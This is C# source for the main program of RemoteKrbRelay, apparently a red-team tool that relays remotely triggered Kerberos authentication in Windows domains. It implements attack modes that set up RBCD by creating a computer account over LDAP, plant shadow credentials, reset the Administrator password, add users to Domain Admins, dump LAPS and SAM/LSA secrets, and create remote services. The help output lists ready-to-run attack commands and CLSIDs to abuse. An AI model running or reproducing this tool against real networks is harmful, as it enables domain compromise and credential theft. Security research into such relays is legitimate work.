using System; using System.Diagnostics; using System.Linq; using System.Text; using System.Net.NetworkInformation; using System.DirectoryServices.Protocols; using SMBLibrary; using SMBLibrary.Client; namespace RemoteKrbRelay { public static class Options { // Global Identifiers public enum Attack { None = 1, RBCD = 2, ADCS = 3, SMB = 4, ShadowCred = 5, ChangePass = 6, AddGroupMember = 7, Laps = 8, LdapWhoami = 9 } public static Attack attackType = Attack.None; public static Guid clsid_guid = new Guid(); public static string clsid = ""; public static string target = ""; // relay to target public static string victim = ""; // relay from victim public static string local = ""; public static string port = "12345"; public static string domain = ""; public static string domainDN = ""; public static string domainController = ""; public static string spn = ""; public static string session = ""; public static string moduleName = "System"; // Try everything from FindAvailablePort tool :) public static bool useSSL = false; public static bool debug = false; public static bool attackDone = false; // SMBSecrets mode public static SMB2Client smbClient = new SMB2Client(); public static string smbkeyword = ""; // secrets or service-add or interactive public static string serviceName = ""; public static string serviceCmd = ""; // RBCD Mode public static string rbcdComputerName = ""; public static string rbcdComputerPassword = ""; public static string rbcdComputerPasswordHash = ""; public static string rbcdComputerSid = ""; public static string victimDN = ""; public static int ldapPort = 389; public static bool createNew = false; // ADCS Mode public static string template = ""; // ShadowCred Mode public static bool forceShadowCred = false; // ChangePass Mode public static string chpUser = ""; public static string chpPass = ""; // AddGroup Mode public static string groupName = ""; public static string userToAddToGroup = ""; public static string groupDN = ""; public static string userDN = ""; //LAPS mode public static string lapsDevice = ""; // Helpers public static bool RequiresDomainController(Attack attackType) { switch (attackType) { case Attack.RBCD: case Attack.ShadowCred: case Attack.ChangePass: case Attack.AddGroupMember: case Attack.Laps: case Attack.LdapWhoami: return true; default: return false; } } } class Program { public static void Main(string[] args) { ShowBanner(); // START Parsing ARGS var show_help = false; foreach (var entry in args.Select((value, index) => new { index, value })) { var argument = entry.value.ToLower(); switch (argument) { case "-debug": Options.debug = true; break; case "-h": case "--help": show_help = true; break; case "-rbcd": Options.attackType = Options.Attack.RBCD; break; case "-adcs": Options.attackType = Options.Attack.ADCS; break; case "-chp": Options.attackType = Options.Attack.ChangePass; break; case "-laps": Options.attackType = Options.Attack.Laps; break; case "-ldapwhoami": Options.attackType = Options.Attack.LdapWhoami; break; case "-addgroupmember": Options.attackType = Options.Attack.AddGroupMember; break; case "-session": Options.session = args[entry.index + 1]; break; case "-shadowcred": Options.attackType = Options.Attack.ShadowCred; break; case "-forceshadowcred": Options.forceShadowCred = true; break; case "-module": Options.moduleName = args[entry.index + 1]; break; case "-p": case "-port": Options.port = args[entry.index + 1]; break; case "-smb": Options.attackType = Options.Attack.SMB; break; case "--smbkeyword": Options.smbkeyword = args[entry.index + 1]; break; case "--servicename": Options.serviceName = args[entry.index + 1]; break; case "--servicecmd": Options.serviceCmd = args[entry.index + 1]; break; case "-secure": Options.useSSL = true; break; case "-spn": Options.spn = args[entry.index + 1]; break; case "-target": Options.target = args[entry.index + 1]; break; case "-victim": Options.victim = args[entry.index + 1]; break; case "-local": Options.local = args[entry.index + 1]; break; case "-chpuser": Options.chpUser = args[entry.index + 1]; break; case "-chppass": Options.chpPass = args[entry.index + 1]; break; case "-template": Options.template = args[entry.index + 1]; break; case "-group": Options.groupName = args[entry.index + 1]; break; case "-groupuser": Options.userToAddToGroup = args[entry.index + 1]; break; case "-groupdn": Options.groupDN = args[entry.index + 1]; break; case "-userdn": Options.userDN = args[entry.index + 1]; break; case "-clsid": Options.clsid = args[entry.index + 1]; try { Options.clsid_guid = new Guid(Options.clsid); } catch (Exception e) { Console.WriteLine("[-] Invalid CLSID!!!!!"); Console.WriteLine(e); return; } break; case "-lapsdevice": Options.lapsDevice = args[entry.index + 1]; break; case "-d": case "--domain": Options.domain = args[entry.index + 1]; break; case "-dc": case "--domaincontroller": Options.domainController = args[entry.index + 1]; break; case "-c": case "--create": Options.createNew = true; break; case "-cn": case "--computername": Options.rbcdComputerName = args[entry.index + 1]; break; case "-cp": case "--computerpassword": Options.rbcdComputerPassword = args[entry.index + 1]; break; case "--victimdn": Options.victimDN = args[entry.index + 1]; break; } } if (show_help) { ShowHelp(); return; } if (Options.debug) { Debug.Listeners.Add(new TextWriterTraceListener(Console.Out)); Debug.AutoFlush = true; Debug.WriteLine("[*] Opened in debug mode"); } if (string.IsNullOrEmpty(Options.victim) || string.IsNullOrEmpty(Options.target) || string.IsNullOrEmpty(Options.clsid)) { Console.WriteLine("[-] Missing one required argument (victim / target / clsid)."); Console.WriteLine("[?] See RemoteKrbRelay.exe -h"); return; } if (string.IsNullOrEmpty(Options.local)) { Options.local = Environment.MachineName + "." + IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (string.IsNullOrEmpty(Options.domain)) { Options.domain = IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (string.IsNullOrEmpty(Options.domainController) && Options.RequiresDomainController(Options.attackType)) { //var context = new System.DirectoryServices.AccountManagement.PrincipalContext(ContextType.Domain); // It's a very BIG Mistake :D (CoInitializeSecurity()'ll return 0x80010119 - RPC_E_TOO_LATE) //Options.domainController = context.ConnectedServer; Options.domainController = Options.target; Console.WriteLine($"[?] Using domain controller {Options.target}. U can specify dc using -dc/--domaincontroller"); } var domainComponent = Options.domain.Split('.'); foreach (var dc in domainComponent) { Options.domainDN += string.Concat(",DC=", dc); } Options.domainDN = Options.domainDN.TrimStart(','); switch (Options.attackType) { case Options.Attack.SMB: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"cifs/{Options.target}"; } if (string.IsNullOrEmpty(Options.smbkeyword)) { Console.WriteLine("[!] Please specify smb attack keyword --smbkeyword (secrets or service-add or interactive or something else)"); return; } if (Options.smbkeyword == "service-add" && string.IsNullOrEmpty(Options.serviceName)) { Console.WriteLine("[!] Please specify service name to create (--servicename)"); if (string.IsNullOrEmpty(Options.serviceCmd)) { Console.WriteLine("[!] Also u forgot to specify service command (--servicecmd)"); } return; } break; case Options.Attack.ADCS: if (string.IsNullOrEmpty(Options.template)) { Options.template = "Machine"; } if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"http/{Options.target}"; } break; case Options.Attack.ShadowCred: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } break; case Options.Attack.RBCD: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } if (string.IsNullOrEmpty(Options.rbcdComputerPassword) && Options.createNew) { Options.rbcdComputerPassword = Helpers.PasswordGenerator.GenerateSecurePassword(10); } if (string.IsNullOrEmpty(Options.rbcdComputerName) && Options.createNew) { Options.rbcdComputerName = "MZHMO"; } if (string.IsNullOrEmpty(Options.rbcdComputerName)) { Console.WriteLine("[-] Computer name wasnt supplied (-cn)"); Console.WriteLine("[?] See RemoteKrbRelay.exe -h"); return; } Options.rbcdComputerName = Options.rbcdComputerName.TrimEnd('$'); break; case Options.Attack.ChangePass: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } if (string.IsNullOrEmpty(Options.chpPass) || string.IsNullOrEmpty(Options.chpUser)) { Console.WriteLine("[-] -chpPass or -chpUser was NULL or empty. See .\\RemoteKrbRelay.exe -h"); return; } break; case Options.Attack.AddGroupMember: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } if (string.IsNullOrEmpty(Options.groupName) || string.IsNullOrEmpty(Options.userToAddToGroup)) { Console.WriteLine("[-] -group or -groupuser was NULL or empty. See .\\RemoteKrbRelay.exe -h"); return; } break; case Options.Attack.Laps: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } if (string.IsNullOrEmpty(Options.lapsDevice)) { Console.WriteLine("[!] I will dump all computer passwords"); } break; case Options.Attack.LdapWhoami: if (string.IsNullOrEmpty(Options.spn)) { Options.spn = $"ldap/{Options.domainController}"; } break; default: Console.WriteLine("[-] Attack type wasnt selected"); Console.WriteLine("[?] See RemoteKrbRelay.exe -h"); return; } if (Options.debug) { Helpers.Helpers.PrintStaticFields(typeof(Options)); } Debug.WriteLine($"[?] Using SPN {Options.spn}"); // END PARSING ARGS Debug.WriteLine("[*] Initializing COM Server"); Relay.Relay.InitializeCOMServer(); switch (Options.attackType) { case Options.Attack.SMB: var isConnected = Options.smbClient.Connect(Options.target, SMBTransportType.DirectTCPTransport); if (!isConnected) { Console.WriteLine($"[-] Can't connect to {Options.target}:445"); return; } break; case Options.Attack.RBCD: Debug.WriteLine("[*] Connecting to LDAP to create account (AND|OR) get SID for RBCD"); var identifier = new LdapDirectoryIdentifier(Options.domainController, Options.ldapPort); var ldapConnection = new LdapConnection(identifier); if (Options.useSSL) { ldapConnection.SessionOptions.ProtocolVersion = 3; ldapConnection.SessionOptions.SecureSocketLayer = true; } else { ldapConnection.SessionOptions.Sealing = true; ldapConnection.SessionOptions.Signing = true; } ldapConnection.Bind(); if (Options.createNew) { var request = new AddRequest(); request.DistinguishedName = $"CN={Options.rbcdComputerName},CN=Computers,{Options.domainDN}"; request.Attributes.Add(new DirectoryAttribute("objectClass", "Computer")); request.Attributes.Add(new DirectoryAttribute("SamAccountName", $"{Options.rbcdComputerName}$")); request.Attributes.Add(new DirectoryAttribute("userAccountControl", "4096")); request.Attributes.Add(new DirectoryAttribute("DnsHostName", $"{Options.rbcdComputerName}.{Options.domain}")); request.Attributes.Add(new DirectoryAttribute("ServicePrincipalName", $"HOST/{Options.rbcdComputerName}.{Options.domain}", $"RestrictedKrbHost/{Options.rbcdComputerName}.{Options.domain}", $"HOST/{Options.rbcdComputerName}", $"RestrictedKrbHost/{Options.rbcdComputerName}")); request.Attributes.Add(new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes($"\"{Options.rbcdComputerPassword}\""))); try { var res = ldapConnection.SendRequest(request); Console.WriteLine($"[+] Computer account \"{Options.rbcdComputerName}$\" added with password \"{Options.rbcdComputerPassword}\""); } catch (Exception e) { Console.WriteLine($"[-] Could not add new computer account:"); Console.WriteLine($"[-] {e.Message}"); return; } } Options.rbcdComputerSid = Helpers.Helpers.GetObjectSidForComputerName(ldapConnection, Options.rbcdComputerName, Options.domainDN); break; } Debug.WriteLine("[*] OK. Let's start"); Relay.Relay.Run(); } private static void ShowHelp() { Console.WriteLine(); Console.WriteLine("[HELP PANEL]"); Console.WriteLine("\tRemoteKrbRelay.exe"); Console.WriteLine("\tRelaying Remote Kerberos Auth by easy way"); Console.WriteLine("\tUsage: RemoteKrbRelay.exe [ATTACKS] [REQUIRED OPTIONS] [OPTIONAL PARAMS] [ATTACK OPTIONS] [SWITCHES]"); Console.WriteLine(); Console.WriteLine("[ATTACKS] (one required!)"); Console.WriteLine("\t-rbcd : relay to LDAP and setup RBCD"); Console.WriteLine("\t-adcs : relay to HTTP Web Enrollment and get certificate"); Console.WriteLine("\t-smb : relay to SMB"); Console.WriteLine("\t-shadowcred : relay to LDAP and setup Shadow Credentials"); Console.WriteLine("\t-chp : relay to LDAP and change user password"); Console.WriteLine("\t-addgroupmember : relay to LDAP and add user to group"); Console.WriteLine("\t-laps : relay to LDAP and extract LAPS passwords"); Console.WriteLine("\t-ldapwhoami : relay to LDAP and get info about relayed user"); Console.WriteLine(); Console.WriteLine("[REQUIRED OPTIONS]"); Console.WriteLine("\t-target : relay to this target"); Console.WriteLine("\t-victim : relay this computer"); Console.WriteLine("\t-clsid : target CLSID to abuse"); Console.WriteLine(); Console.WriteLine("[OPTIONAL PARAMS]"); Console.WriteLine("\t-spn : with ticket on this SPN victim will come to us. For ex: ldap/dc01.root.apchi - tkt for RBCD mode , http/dc01.root.apchi - tkt for ADCS mode"); Console.WriteLine("\t-d/--domain : current (target) domain"); Console.WriteLine("\t-dc/--domaincontoller : target DC"); Console.WriteLine("\t-local : current computer hostname. This host will be in OBJREF."); Console.WriteLine(); Console.WriteLine("[ATTACK OPTIONS]"); Console.WriteLine("\t[SMB OPTIONS (Relay to SMB)]"); Console.WriteLine("\t--smbkeyword : specify 'secrets' or 'service-add' or 'interactive'"); Console.WriteLine("\t--servicename : service-add cmdlet. Name of new service"); Console.WriteLine("\t--servicecmd : service-add cmdlet. Commandline of the service"); Console.WriteLine(); Console.WriteLine("\t[ADCS OPTIONS (Relay to HTTP)]"); Console.WriteLine("\t-template : ADCS Mode only. Template to relay to"); Console.WriteLine(); Console.WriteLine("\t[RBCD OPTIONS (Relay to LDAP)]"); Console.WriteLine("\t-c/--create : Create new computer"); Console.WriteLine("\t-cn/--computername : Computer name that will be written to msDs-AllowedToActOnBehalfOfOtherIdentity"); Console.WriteLine("\t-cp/--computerpassword : requires -c switch. Password for new computer"); Console.WriteLine("\t--victimdn : DN of victim computer"); Console.WriteLine(); Console.WriteLine("\t[CHANGE PASSWORD OPTIONS (Relay to LDAP)]"); Console.WriteLine("\t-chpuser : the name of the user whose password you want to change"); Console.WriteLine("\t-chppass : new password"); Console.WriteLine(); Console.WriteLine("\t[ADD GROUP MEMBER OPTIONS (Relay to LDAP)]"); Console.WriteLine("\t-group : group name"); Console.WriteLine("\t-groupuser : user to add to the group"); Console.WriteLine("\t-groupdn : target group DN"); Console.WriteLine("\t-userdn : target user DN"); Console.WriteLine(); Console.WriteLine("\t[SHADOWCRED OPTIONS (Relay to LDAP)]"); Console.WriteLine("\t-forceshadowcred : force shadow creds"); Console.WriteLine(); Console.WriteLine("\t[LAPS OPTIONS (Relay to LDAP)]"); Console.WriteLine("\t-lapsdevice : Optional param. Target computer hostname to dump laps from"); Console.WriteLine(); Console.WriteLine("[SWITCHES]"); Console.WriteLine("\t-h/--help : show help"); Console.WriteLine("\t-debug : show debug info"); Console.WriteLine("\t-secure : use SSL for connection to LDAP/HTTP/etc"); Console.WriteLine("\t-p/--port : port to deploy rogue dcom server"); Console.WriteLine("\t-session : cross-session activation. Useful when instantiating com objects with RunAs value as \"The Interactive User\""); Console.WriteLine("\t-module : default \"System\". It is for firewall bypass"); Console.WriteLine(); Console.WriteLine("[EXAMPLES]"); Console.WriteLine("\t[1] Trigger kerberos authentication from adcs.root.apchi (-victim). Then relay to dc01.root.apchi (-target). And setup RBCD (u can optionally provide -dc because setuping RBCD requires connection to ldap on DC) from adcs.root.apchi to FAKEMACHINE$ (-cn). As a result u can pwn adcs.root.apchi from FAKEMACHINE$ through RBCD"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$"); Console.WriteLine(""); Console.WriteLine("\t[2] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and open interactive SMB Console."); Console.WriteLine("\t.\\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid "); Console.WriteLine(""); Console.WriteLine("\t[3] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and dump SAM/LSA secrets from win10.root.apchi."); Console.WriteLine("\t.\\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid "); Console.WriteLine(""); Console.WriteLine("\t[4] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and create service."); Console.WriteLine("\t.\\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd \"c:\\windows\\system32\\calc.exe\" -victim dc01.root.apchi -target win10.root.apchi -clsid "); Console.WriteLine(); Console.WriteLine("\t[5] Get machine certificate from kerberos relay"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8"); Console.WriteLine(); Console.WriteLine("\t[6] Shadow Creds"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred"); Console.WriteLine(); Console.WriteLine("\t[7] Change user password"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure"); Console.WriteLine(); Console.WriteLine("\t[8] Add user to group"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -addgroupmember -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group \"Domain Admins\" -groupuser petka"); Console.WriteLine(); Console.WriteLine("\t[9] Dump LAPS passwords"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83"); Console.WriteLine(); Console.WriteLine("\t[10] Send LDAP Whoami request from relayed user"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83"); Console.WriteLine(); Console.WriteLine("\t[11] Trigger authentication from another session"); Console.WriteLine("\t.\\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1"); ShowInterestingClsids(); } private static void ShowInterestingClsids() { Console.WriteLine(); Console.WriteLine("[?] Interesting CLSIDs to use"); Console.WriteLine("dea794e0-1c1d-4363-b171-98d0b1703586 - Interactive User. U can use with -session switch. U should be in NT AUTHORITY\\Interactive"); Console.WriteLine("f87b28f1-da9a-4f35-8ec0-800efcf26b83 - Interactive User. U can use with -session switch. U should be in Distributed COM Users or Performance Log Users"); Console.WriteLine("d99e6e74-fc88-11d0-b498-00a0c90312f3 - System account. On victim computer should be installed AD CS"); Console.WriteLine("d99e6e73-fc88-11d0-b498-00a0c90312f3 - System account. On victim computer should be installed AD CS"); Console.WriteLine("3ab092c4-de6a-4cd4-be9e-fdacdb05759c - System account. On victim computer should be installed AD CS"); Console.WriteLine("6d5ad135-1730-4f19-a4eb-3f87e7c976bb - System account. On victim computer should be installed AD CS"); } private static void ShowBanner() { var art = @" /\_/\____, ,___/\_/\ \ ~ / \ ~ \ ) XXX XXX / /\_/\___, \o-o/-o-o/ ~ / ) / \ XXX _| / \ \_/ ,-/ _ \_/ \ / ( /____,__| ) ( |_ ( ) \) _| _/ _) \ \__/ (_ (,-(,(,(,/ \,),),) "; Console.WriteLine(art); Console.WriteLine("\t\tCICADA8 Research Team"); Console.WriteLine("\t\tFrom Michael Zhmaylo (MzHmO)"); } } }